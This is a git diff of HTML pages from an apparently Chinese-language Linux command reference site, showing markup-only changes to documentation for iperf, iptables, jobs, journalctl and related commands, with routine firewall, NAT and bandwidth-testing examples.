    --n, --num #\[KM]             # 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。
    +-n, --num #\[KM]             # 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。
                                  # -n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。 
    --r, --tradeoff               # 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),
    +-r, --tradeoff               # 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),
                                  # 反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。 
    --t, --time #                 # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。 
    --L, --listenport #           # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。 
    --P, --parallel #             # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。 
    --S, --tos #                  # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,
    +-t, --time #                 # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。 
    +-L, --listenport #           # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。 
    +-P, --parallel #             # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。 
    +-S, --tos #                  # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,
                                  # 或以"0"开始的8进制数或10进制数。 例如,16进制'0x10' = 8进制'020' = 十进制'16'。
                                  # TOS值1349就是: IPTOS\_LOWDELAY minimize delay 0x10 IPTOS\_THROUGHPUT maximize 
                                  # throughput 0x08 IPTOS\_RELIABILITY maximize reliability 0x04 IPTOS\_LOWCOST minimize cost 0x02 
    --T, --ttl #                  # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。 
    --F (from v1.2 or higher)     # 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F 
    --I (from v1.2 or higher)     # 与-F一样,由标准输入输出文件输入数据。 
    +-T, --ttl #                  # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。 
    +-F (from v1.2 or higher)     # 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F 
    +-I (from v1.2 or higher)     # 与-F一样,由标准输入输出文件输入数据。 
     

    杂项

    -
    -h, --help          # 显示命令行参考并退出 。
    --v, --version       # 显示版本信息和编译信息并退出。
    +
    -h, --help          # 显示命令行参考并退出 。
    +-v, --version       # 显示版本信息和编译信息并退出。
     
    @@ -258,41 +258,41 @@ make install

    带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用-b 100M进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。

    UDP模式

    服务器端:

    -
    iperf -u -s
    +
    iperf -u -s
     

    客户端:

    -
    iperf -u -c 192.168.1.1 -b 100M -t 60
    +
    iperf -u -c 192.168.1.1 -b 100M -t 60
     

    在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。

    -
    iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
    +
    iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
     

    客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。

    -
    iperf -u -c 192.168.1.1 -b 100M -d -t 60
    +
    iperf -u -c 192.168.1.1 -b 100M -d -t 60
     

    以100M为数据发送速率,进行上下行带宽测试。

    TCP模式

    服务器端:

    -
    iperf -s
    +
    iperf -s
     

    客户端:

    -
    iperf -c 192.168.1.1 -t 60
    +
    iperf -c 192.168.1.1 -t 60
     

    在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。

    -
    iperf -c 192.168.1.1  -P 30 -t 60
    +
    iperf -c 192.168.1.1  -P 30 -t 60
     

    客户端同时向服务器端发起30个连接线程。

    -
    iperf -c 192.168.1.1  -d -t 60
    +
    iperf -c 192.168.1.1  -d -t 60
     

    进行上下行带宽测试。

    - - + + \ No newline at end of file diff --git a/c/iptables-restore.html b/c/iptables-restore.html index 37b623c2cd..d9bb0a9d52 100644 --- a/c/iptables-restore.html +++ b/c/iptables-restore.html @@ -9,7 +9,7 @@ iptables-restore 命令,Linux iptables-restore 命令详解:还原iptables表的配置 - Linux 命令搜索引擎 - + @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);

    iptables.bak是iptables-save命令所备份的文件。

    - - + + \ No newline at end of file diff --git a/c/iptables-save.html b/c/iptables-save.html index 78fca0a104..e72e088114 100644 --- a/c/iptables-save.html +++ b/c/iptables-save.html @@ -9,7 +9,7 @@ iptables-save 命令,Linux iptables-save 命令详解:备份iptables的表配置 - Linux 命令搜索引擎 - + @@ -135,12 +135,12 @@ customElements.define('markdown-style', MarkdownStyle);:INPUT DROP [48113:2690676] :FORWARD accept [0:0] :OUTPUT ACCEPT [3381959:1818595115] --A INPUT -i lo -j ACCEPT --A INPUT -p tcp -m tcp --dport 22 -j ACCEPT --A INPUT -p tcp -m tcp --dport 80 -j ACCEPT --A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT --A INPUT -p icmp -j ACCEPT --A OUTPUT -o lo -j ACCEPT +-A INPUT -i lo -j ACCEPT +-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT +-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT +-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT +-A INPUT -p icmp -j ACCEPT +-A OUTPUT -o lo -j ACCEPT COMMIT
    - - + + \ No newline at end of file diff --git a/c/iptables.html b/c/iptables.html index 4d333608d0..6724987245 100644 --- a/c/iptables.html +++ b/c/iptables.html @@ -9,7 +9,7 @@ iptables 命令,Linux iptables 命令详解:Linux上常用的防火墙软件 - Linux 命令搜索引擎 - + @@ -161,33 +161,33 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -t, --table table 对指定的表 table 进行操作, table 必须是 raw, nat,filter,mangle 中的一个。如果不指定此选项,默认的是 filter 表。
    +
    -t, --table table 对指定的表 table 进行操作, table 必须是 raw, nat,filter,mangle 中的一个。如果不指定此选项,默认的是 filter 表。
     
     # 通用匹配:源地址目标地址的匹配
     -p:指定要匹配的数据包协议类型;
    --s, --source [!] address[/mask] :把指定的一个/一组地址作为源地址,按此规则进行过滤。当后面没有 mask 时,address 是一个地址,比如:192.168.1.1;当 mask 指定时,可以表示一组范围内的地址,比如:192.168.1.0/255.255.255.0。
    --d, --destination [!] address[/mask] :地址格式同上,但这里是指定地址为目的地址,按此进行过滤。
    +-s, --source [!] address[/mask] :把指定的一个/一组地址作为源地址,按此规则进行过滤。当后面没有 mask 时,address 是一个地址,比如:192.168.1.1;当 mask 指定时,可以表示一组范围内的地址,比如:192.168.1.0/255.255.255.0。
    +-d, --destination [!] address[/mask] :地址格式同上,但这里是指定地址为目的地址,按此进行过滤。
     -i, --in-interface [!] <网络接口name> :指定数据包的来自来自网络接口,比如最常见的 eth0 。注意:它只对 INPUT,FORWARD,PREROUTING 这三个链起作用。如果没有指定此选项, 说明可以来自任何一个网络接口。同前面类似,"!" 表示取反。
     -o, --out-interface [!] <网络接口name> :指定数据包出去的网络接口。只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。
     
     # 查看管理命令
    --L, --list [chain] 列出链 chain 上面的所有规则,如果没有指定链,列出表上所有链的所有规则。
    +-L, --list [chain] 列出链 chain 上面的所有规则,如果没有指定链,列出表上所有链的所有规则。
     
     # 规则管理命令
    --A, --append chain rule-specification 在指定链 chain 的末尾插入指定的规则,也就是说,这条规则会被放到最后,最后才会被执行。规则是由后面的匹配来指定。
    --I, --insert chain [rulenum] rule-specification 在链 chain 中的指定位置插入一条或多条规则。如果指定的规则号是1,则在链的头部插入。这也是默认的情况,如果没有指定规则号。
    --D, --delete chain rule-specification -D, --delete chain rulenum 在指定的链 chain 中删除一个或多个指定规则。
    --R num:Replays替换/修改第几条规则
    +-A, --append chain rule-specification 在指定链 chain 的末尾插入指定的规则,也就是说,这条规则会被放到最后,最后才会被执行。规则是由后面的匹配来指定。
    +-I, --insert chain [rulenum] rule-specification 在链 chain 中的指定位置插入一条或多条规则。如果指定的规则号是1,则在链的头部插入。这也是默认的情况,如果没有指定规则号。
    +-D, --delete chain rule-specification -D, --delete chain rulenum 在指定的链 chain 中删除一个或多个指定规则。
    +-R num:Replays替换/修改第几条规则
     
     # 链管理命令(这都是立即生效的)
    --P, --policy chain target :为指定的链 chain 设置策略 target。注意,只有内置的链才允许有策略,用户自定义的是不允许的。
    --F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
    +-P, --policy chain target :为指定的链 chain 设置策略 target。注意,只有内置的链才允许有策略,用户自定义的是不允许的。
    +-F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
     -N, --new-chain chain 用指定的名字创建一个新的链。
     -X, --delete-chain [chain] :删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。
     -E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部造成任何影响。
    --Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。
    +-Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。
     
    --j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。
    +-j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。
     -h:显示帮助信息;
     
    命令选项输入顺序 -
    iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作
    +
    iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作
     

    工作机制

    @@ -393,47 +393,47 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    清空当前的所有规则和计数

    -
    iptables -F  # 清空所有的防火墙规则
    -iptables -X  # 删除用户自定义的空链
    -iptables -Z  # 清空计数
    +
    iptables -F  # 清空所有的防火墙规则
    +iptables -X  # 删除用户自定义的空链
    +iptables -Z  # 清空计数
     

    配置允许ssh端口连接

    -
    iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT
    +
    iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT
     # 22为你的ssh端口, -s 192.168.1.0/24表示允许这个网段的机器来连接,其它网段的ip地址是登陆不了你的机器的。 -j ACCEPT表示接受这样的请求
     

    允许本地回环地址可以正常使用

    -
    iptables -A INPUT -i lo -j ACCEPT
    +
    iptables -A INPUT -i lo -j ACCEPT
     #本地圆环地址就是那个127.0.0.1,是本机上使用的,它进与出都设置为允许
    -iptables -A OUTPUT -o lo -j ACCEPT
    +iptables -A OUTPUT -o lo -j ACCEPT
     

    设置默认的规则

    -
    iptables -P INPUT DROP # 配置默认的不让进
    -iptables -P FORWARD DROP # 默认的不允许转发
    -iptables -P OUTPUT ACCEPT # 默认的可以出去
    +
    iptables -P INPUT DROP # 配置默认的不让进
    +iptables -P FORWARD DROP # 默认的不允许转发
    +iptables -P OUTPUT ACCEPT # 默认的可以出去
     

    配置白名单

    -
    iptables -A INPUT -p all -s 192.168.1.0/24 -j ACCEPT  # 允许机房内网机器可以访问
    -iptables -A INPUT -p all -s 192.168.140.0/24 -j ACCEPT  # 允许机房内网机器可以访问
    -iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3.7访问本机的3380端口
    +
    iptables -A INPUT -p all -s 192.168.1.0/24 -j ACCEPT  # 允许机房内网机器可以访问
    +iptables -A INPUT -p all -s 192.168.140.0/24 -j ACCEPT  # 允许机房内网机器可以访问
    +iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3.7访问本机的3380端口
     

    开启相应的服务端口

    -
    iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 开启80端口,因为web对外都是这个端口
    -iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT # 允许被ping
    -iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立的连接得让它进来
    +
    iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 开启80端口,因为web对外都是这个端口
    +iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT # 允许被ping
    +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立的连接得让它进来
     
    iptables -L -t nat # 列出 nat 上面的所有规则 +
    iptables -L -t nat                  # 列出 nat 上面的所有规则
     #            ^ -t 参数指定,必须是 raw, nat,filter,mangle 中的一个
    -iptables -L -t nat  --line-numbers  # 规则带编号
    -iptables -L INPUT
    +iptables -L -t nat  --line-numbers  # 规则带编号
    +iptables -L INPUT
     
    -iptables -L -nv  # 查看,这个列表看起来更详细
    +iptables -L -nv  # 查看,这个列表看起来更详细
     

    清除已有规则

    -
    iptables -F INPUT  # 清空指定链 INPUT 上面的所有规则
    -iptables -X INPUT  # 删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。
    +
    iptables -F INPUT  # 清空指定链 INPUT 上面的所有规则
    +iptables -X INPUT  # 删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。
                        # 如果没有指定链名,则会删除该表中所有非内置的链。
    -iptables -Z INPUT  # 把指定链,或者表中的所有链上的所有计数器清零。
    +iptables -Z INPUT  # 把指定链,或者表中的所有链上的所有计数器清零。
     

    删除已添加的规则

    # 添加一条规则
    -iptables -A INPUT -s 192.168.1.5 -j DROP
    +iptables -A INPUT -s 192.168.1.5 -j DROP
     

    将所有iptables以序号标记显示,执行:

    -
    iptables -L -n --line-numbers
    +
    iptables -L -n --line-numbers
     

    比如要删除INPUT里序号为8的规则,执行:

    -
    iptables -D INPUT 8
    +
    iptables -D INPUT 8
     

    开放指定的端口

    -
    iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT               #允许本地回环接口(即运行本机访问本机)
    -iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT    #允许已建立的或相关连的通行
    -iptables -A OUTPUT -j ACCEPT         #允许所有本机向外的访问
    -iptables -A INPUT -p tcp --dport 22 -j ACCEPT    #允许访问22端口
    -iptables -A INPUT -p tcp --dport 80 -j ACCEPT    #允许访问80端口
    -iptables -A INPUT -p tcp --dport 21 -j ACCEPT    #允许ftp服务的21端口
    -iptables -A INPUT -p tcp --dport 20 -j ACCEPT    #允许FTP服务的20端口
    -iptables -A INPUT -j reject       #禁止其他未允许的规则访问
    -iptables -A FORWARD -j REJECT     #禁止其他未允许的规则访问
    +
    iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT               #允许本地回环接口(即运行本机访问本机)
    +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT    #允许已建立的或相关连的通行
    +iptables -A OUTPUT -j ACCEPT         #允许所有本机向外的访问
    +iptables -A INPUT -p tcp --dport 22 -j ACCEPT    #允许访问22端口
    +iptables -A INPUT -p tcp --dport 80 -j ACCEPT    #允许访问80端口
    +iptables -A INPUT -p tcp --dport 21 -j ACCEPT    #允许ftp服务的21端口
    +iptables -A INPUT -p tcp --dport 20 -j ACCEPT    #允许FTP服务的20端口
    +iptables -A INPUT -j reject       #禁止其他未允许的规则访问
    +iptables -A FORWARD -j REJECT     #禁止其他未允许的规则访问
     

    屏蔽IP

    -
    iptables -A INPUT -p tcp -m tcp -s 192.168.0.8 -j DROP  # 屏蔽恶意主机(比如,192.168.0.8
    -iptables -I INPUT -s 123.45.6.7 -j DROP       #屏蔽单个IP的命令
    -iptables -I INPUT -s 123.0.0.0/8 -j DROP      #封整个段即从123.0.0.1到123.255.255.254的命令
    -iptables -I INPUT -s 124.45.0.0/16 -j DROP    #封IP段即从123.45.0.1到123.45.255.254的命令
    -iptables -I INPUT -s 123.45.6.0/24 -j DROP    #封IP段即从123.45.6.1到123.45.6.254的命令是
    +
    iptables -A INPUT -p tcp -m tcp -s 192.168.0.8 -j DROP  # 屏蔽恶意主机(比如,192.168.0.8
    +iptables -I INPUT -s 123.45.6.7 -j DROP       #屏蔽单个IP的命令
    +iptables -I INPUT -s 123.0.0.0/8 -j DROP      #封整个段即从123.0.0.1到123.255.255.254的命令
    +iptables -I INPUT -s 124.45.0.0/16 -j DROP    #封IP段即从123.45.0.1到123.45.255.254的命令
    +iptables -I INPUT -s 123.45.6.0/24 -j DROP    #封IP段即从123.45.6.1到123.45.6.254的命令是
     

    指定数据包出去的网络接口

    只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。

    -
    iptables -A FORWARD -o eth0
    +
    iptables -A FORWARD -o eth0
     

    查看已添加的规则

    -
    iptables -L -n -v
    +
    iptables -L -n -v
     Chain INPUT (policy DROP 48106 packets, 2690K bytes)
      pkts bytes target     prot opt in     out     source               destination
      5075  589K ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0
    @@ -563,18 +563,18 @@ Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes)
     " class="copied">

    启动网络转发规则

    公网210.14.67.7让内网192.168.188.0/24上网

    -
    iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67.127
    +
    iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67.127
     

    端口映射

    本机的 2222 端口映射到内网 虚拟机的22 端口

    -
    iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222  -j DNAT --to-dest 192.168.188.115:22
    +
    iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222  -j DNAT --to-dest 192.168.188.115:22
     

    字符串匹配

    比如,我们要过滤所有TCP连接中的字符串test,一旦出现它我们就终止这个连接,我们可以这么做:

    -
    iptables -A INPUT -p tcp -m string --algo kmp --string "test" -j REJECT --reject-with tcp-reset
    -iptables -L
    +
    iptables -A INPUT -p tcp -m string --algo kmp --string "test" -j REJECT --reject-with tcp-reset
    +iptables -L
     
     # Chain INPUT (policy ACCEPT)
     # target     prot opt source               destination
    @@ -599,15 +599,15 @@ iptables -L
     # target     prot opt source               destination
     " class="copied">

    阻止Windows蠕虫的攻击

    -
    iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd.exe"
    +
    iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd.exe"
     

    防止SYN洪水攻击

    -
    iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT
    +
    iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT
     

    添加SECMARK记录

    -
    iptables -t mangle -A INPUT -p tcp --src 192.168.1.2 --dport 443 -j SECMARK --selctx system_u:object_r:myauth_packet_t
    +
    iptables -t mangle -A INPUT -p tcp --src 192.168.1.2 --dport 443 -j SECMARK --selctx system_u:object_r:myauth_packet_t
     # 向从 192.168.1.2:443 以TCP方式发出到本机的包添加MAC安全上下文 system_u:object_r:myauth_packet_t
     
    iptables -L -F -A -D # list flush append delete +
    iptables -L -F -A -D # list flush append delete
     # 场景一
    -iptables -I INPUT -p tcp --dport 80 -j ACCEPT # 允许 tcp 80 端口
    -iptables -I INPUT -p tcp --dport 10:22 -j ACCEPT # 允许 tcp 10-22 端口
    -iptables -I INPUT -p icmp -j ACCEPT # 允许 icmp
    -iptables -A INPUT -j REJECT # 添加一条规则, 不允许所有
    +iptables -I INPUT -p tcp --dport 80 -j ACCEPT # 允许 tcp 80 端口
    +iptables -I INPUT -p tcp --dport 10:22 -j ACCEPT # 允许 tcp 10-22 端口
    +iptables -I INPUT -p icmp -j ACCEPT # 允许 icmp
    +iptables -A INPUT -j REJECT # 添加一条规则, 不允许所有
     
     # 优化场景一
    -iptables -I INPUT -i lo -j ACCEPT # 允许本机访问
    -iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许访问外网
    -iptables -I INPUT -p tcp --dport 80 -s 10.10.188.233 -j ACCEPT # 只允许固定ip访问80
    +iptables -I INPUT -i lo -j ACCEPT # 允许本机访问
    +iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许访问外网
    +iptables -I INPUT -p tcp --dport 80 -s 10.10.188.233 -j ACCEPT # 只允许固定ip访问80
     
     # 场景二
     vi /etc/vsftpd/vsftpd.conf # 使用 vsftpd 开启 ftp 主动模式
     port_enable=yes
     connect_from_port_20=YES
    -iptables -I INPUT -p tcp --dport 21 -j ACCEPT
    +iptables -I INPUT -p tcp --dport 21 -j ACCEPT
     
     vi /etc/vsftpd/vsftpd.conf # 建议使用 ftp 被动模式
     pasv_min_port=50000
     pasv_max_port=60000
    -iptables -I INPUT -p tcp --dport 21 -j ACCEPT
    -iptables -I INPUT -p tcp --dport 50000:60000 -j ACCEPT
    +iptables -I INPUT -p tcp --dport 21 -j ACCEPT
    +iptables -I INPUT -p tcp --dport 50000:60000 -j ACCEPT
     
     # 还可以使用 iptables 模块追踪来自动开发对应的端口
     
     # 场景三
    -iptables -I INPUT -i lo -j ACCEPT # 允许本机访问
    -iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许访问外网
    -iptables -I INPUT -s 10.10.155.0/24 -j ACCEPT # 允许内网访问
    -iptables -I INPUT -p tcp -m multiport --dports 80,1723 -j ACCEPT # 允许端口, 80 -> http, 1723 -> vpn
    -iptables -A INPUT -j REJECT # 添加一条规则, 不允许所有
    +iptables -I INPUT -i lo -j ACCEPT # 允许本机访问
    +iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许访问外网
    +iptables -I INPUT -s 10.10.155.0/24 -j ACCEPT # 允许内网访问
    +iptables -I INPUT -p tcp -m multiport --dports 80,1723 -j ACCEPT # 允许端口, 80 -> http, 1723 -> vpn
    +iptables -A INPUT -j REJECT # 添加一条规则, 不允许所有
     
     iptables-save # 保存设置到配置文件
     
     # 场景四
    -iptables -t nat -L # 查看 nat 配置
    +iptables -t nat -L # 查看 nat 配置
     
    -iptables -t nat -A POST_ROUTING -s 10.10.177.0/24 -j SNAT --to 10.10.188.232 # SNAT
    +iptables -t nat -A POST_ROUTING -s 10.10.177.0/24 -j SNAT --to 10.10.188.232 # SNAT
     vi /etc/sysconfig/network # 配置网关
     
    -iptables -t nat -A POST_ROUTING -d 10.10.188.232 -p tcp --dport 80 -j DNAT --to 10.10.177.232:80 # DNAT
    +iptables -t nat -A POST_ROUTING -d 10.10.188.232 -p tcp --dport 80 -j DNAT --to 10.10.177.232:80 # DNAT
     
     #场景五
    -iptables -I INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j REJECT # 限制并发连接访问数
    -iptables -I INPUT -m limit --limit 3/hour --limit-burst 10 -j ACCEPT # limit模块; --limit-burst 默认为5
    +iptables -I INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j REJECT # 限制并发连接访问数
    +iptables -I INPUT -m limit --limit 3/hour --limit-burst 10 -j ACCEPT # limit模块; --limit-burst 默认为5
     
    - - + + \ No newline at end of file diff --git a/c/iptraf.html b/c/iptraf.html index 731e933a94..4909dfdefb 100644 --- a/c/iptraf.html +++ b/c/iptraf.html @@ -9,7 +9,7 @@ iptraf 命令,Linux iptraf 命令详解:实时地监视网卡流量 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/iptstate.html b/c/iptstate.html index 09ccc14e45..348dbcfb22 100644 --- a/c/iptstate.html +++ b/c/iptstate.html @@ -9,7 +9,7 @@ iptstate 命令,Linux iptstate 命令详解:显示iptables的工作状态 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ispell.html b/c/ispell.html index d21e7a75d7..3f254351b1 100644 --- a/c/ispell.html +++ b/c/ispell.html @@ -9,7 +9,7 @@ ispell 命令,Linux ispell 命令详解:检查文件中出现的拼写错误 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要进行拼写检查的文件。

    - - + + \ No newline at end of file diff --git a/c/jed.html b/c/jed.html index b96af22bf9..119de16159 100644 --- a/c/jed.html +++ b/c/jed.html @@ -9,7 +9,7 @@ jed 命令,Linux jed 命令详解:主要用于编辑代码的编辑器 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);文件:指定待编辑的文件列表。

    实例

    以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区:

    -
    jed -2 mysource.c
    +
    jed -2 mysource.c
     

    操作

    @@ -177,7 +177,7 @@ unset_setkey ("@\emy", "\ey"); /etc/jed.rc 这是全局系统配置文件。 ~/.jedrc 这是用户配置文件。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/jobs.html b/c/jobs.html index a90d83e3a5..83393da2d4 100644 --- a/c/jobs.html +++ b/c/jobs.html @@ -9,7 +9,7 @@ jobs 命令,Linux jobs 命令详解:显示作业的状态。 - Linux 命令搜索引擎 - + @@ -117,7 +117,7 @@ customElements.define('markdown-style', MarkdownStyle);显示作业的状态。

    概要

    jobs [-lnprs] [jobspec ...]
    -jobs -x command [args]
    +jobs -x command [args]
     
    @@ -128,11 +128,11 @@ jobs -x command [args]
  • 列出停止的作业。
  • 选项

    -
    -l	在作业信息中额外的列出PID。
    --n	只列出最近一次通知以来状态变更的作业。
    --p	只列出PID。
    --r	只输出处于运行状态的作业。
    --s	只输出处于停止状态的作业。
    +
    -l	在作业信息中额外的列出PID。
    +-n	只列出最近一次通知以来状态变更的作业。
    +-p	只列出PID。
    +-r	只输出处于运行状态的作业。
    +-s	只输出处于停止状态的作业。
     
    [1]- Stopped ssh 192.168.1.4 [2] Running sleep 60 & -[user2@pc] jobs -l +[user2@pc] jobs -l [1]- 12927 Stopped ssh 192.168.1.4 [2] 13338 Running sleep 60 & -[user2@pc] jobs -p +[user2@pc] jobs -p 12927 13338 -[user2@pc] jobs -s +[user2@pc] jobs -s [1]- Stopped ssh 192.168.1.4 -[user2@pc] jobs -r +[user2@pc] jobs -r [2] Running sleep 60 & -[user2@pc] kill -9 12927 +[user2@pc] kill -9 12927 [2] Done sleep 60 -[user2@pc] jobs -n -l +[user2@pc] jobs -n -l [1]+ 12927 Killed ssh 192.168.1.4 -[user2@pc] jobs -n -l +[user2@pc] jobs -n -l
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -287,7 +287,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/joe.html b/c/joe.html index fc6d913bb5..eecbbe8314 100644 --- a/c/joe.html +++ b/c/joe.html @@ -9,7 +9,7 @@ joe 命令,Linux joe 命令详解:强大的纯文本编辑器 - Linux 命令搜索引擎 - + @@ -169,7 +169,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要编辑的文件。

    - - + + \ No newline at end of file diff --git a/c/join.html b/c/join.html index 804a96e97a..f09da29a2a 100644 --- a/c/join.html +++ b/c/join.html @@ -9,7 +9,7 @@ join 命令,Linux join 命令详解:两个文件中指定栏位内容相同的行连接起来 - Linux 命令搜索引擎 - + @@ -144,7 +144,7 @@ customElements.define('markdown-style', MarkdownStyle);文件1:要进行合并操作的第1个文件参数;
  • 文件2:要进行合并操作的第2个文件参数。
  • - - + + \ No newline at end of file diff --git a/c/journalctl.html b/c/journalctl.html index a1fe7fdb1e..eb2c622c98 100644 --- a/c/journalctl.html +++ b/c/journalctl.html @@ -9,7 +9,7 @@ journalctl 命令,Linux journalctl 命令详解:检索 systemd 日志,是 CentOS 7 才有的工具。 - Linux 命令搜索引擎 - + @@ -121,57 +121,57 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    Flags:
    - --system               # 显示系统日志
    - --user                 # 显示当前用户的用户日志
    --M --machine=CONTAINER  # 在本地容器上操作
    --S --since=DATE         # 显示不早于指定日期的条目
    --U --until=DATE         # 显示不晚于指定日期的条目
    --c --cursor=CURSOR      # 显示从指定光标开始的条目
    + --system               # 显示系统日志
    + --user                 # 显示当前用户的用户日志
    +-M --machine=CONTAINER  # 在本地容器上操作
    +-S --since=DATE         # 显示不早于指定日期的条目
    +-U --until=DATE         # 显示不晚于指定日期的条目
    +-c --cursor=CURSOR      # 显示从指定光标开始的条目
       --after-cursor=CURSOR # 在指定光标后显示条目
       --show-cursor         # 在所有条目之后打印光标
    --b --boot[=ID]          # 显示当前启动或指定启动
